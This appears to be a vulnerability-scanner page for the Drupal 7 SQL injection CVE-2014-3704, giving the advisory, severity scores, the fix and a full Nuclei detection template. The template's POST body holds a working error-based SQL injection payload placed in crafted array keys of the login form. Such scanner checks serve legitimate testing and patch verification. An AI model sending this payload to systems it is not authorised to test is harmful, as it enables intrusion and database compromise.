Drupal SQL Injection

highseverity

7.5CVSS score

100%likelihood of exploitation, next 30 days

100%of all CVEs are less likely

Readycheck to confirm it

The expandArguments function in the database abstraction API in Drupal core 7.x before 7.32 does not properly construct prepared statements, which allows remote attackers to conduct SQL injection attacks via an array containing specially crafted keys.

Impact

Successful exploitation of this vulnerability can lead to unauthorized access, data leakage, and potential compromise of the Drupal application and its underlying database.

Fix

Upgrade to Drupal core 7.32 or later.

How to confirm it

Send: POST {{BaseURL}}/?q=node&destination=node
Positive when: contains "PDOException" and "{{md5({{num}})}}" AND status 500

Run it with nuclei: nuclei -id CVE-2014-3704 -u <target>. This check is not marked as verified by its authors.

The full check

id: CVE-2014-3704

info:
  name: Drupal SQL Injection
  author: princechaddha
  severity: high
  description: The expandArguments function in the database abstraction API in Drupal core 7.x before 7.32 does not properly construct prepared statements, which allows remote attackers to conduct SQL injection attacks via an array containing specially crafted keys.
  impact: |
    Successful exploitation of this vulnerability can lead to unauthorized access, data leakage, and potential compromise of the Drupal application and its underlying database.
  remediation: Upgrade to Drupal core 7.32 or later.
  reference:
    - https://www.drupal.org/forum/newsletters/security-advisories-for-drupal-core/2014-10-15/sa-core-2014-005-drupal-core-sql
    - https://nvd.nist.gov/vuln/detail/CVE-2014-3704
    - https://www.drupal.org/SA-CORE-2014-005
    - https://www.exploit-db.com/exploits/34984
    - https://www.exploit-db.com/exploits/34992
    - https://www.exploit-db.com/exploits/34993
    - https://www.exploit-db.com/exploits/35150
  classification:
    cvss-metrics: CVSS:2.0/AV:N/AC:L/Au:N/C:P/I:P/A:P
    cvss-score: 7.5
    cve-id: CVE-2014-3704
    cwe-id: CWE-89
    epss-score: 0.99974
    epss-percentile: 0.99979
    cpe: cpe:2.3:a:drupal:drupal:*:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: drupal
    product: drupal
    shodan-query:
      - http.component:"drupal"
      - cpe:"cpe:2.3:a:drupal:drupal"
  tags: cve2014,cve,edb,drupal,sqli,vkev,vuln
variables:
  num: "999999999"

http:
  - method: POST
    path:
      - "{{BaseURL}}/?q=node&destination=node"

    body: 'pass=lol&form_build_id=&form_id=user_login_block&op=Log+in&name[0 or updatexml(0x23,concat(1,md5({{num}})),1)%23]=bob&name[0]=a'

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "PDOException"
          - '{{md5({{num}})}}'
        condition: and

      - type: status
        status:
          - 500

References

Use this check only on systems you are authorised to test. Where the data comes from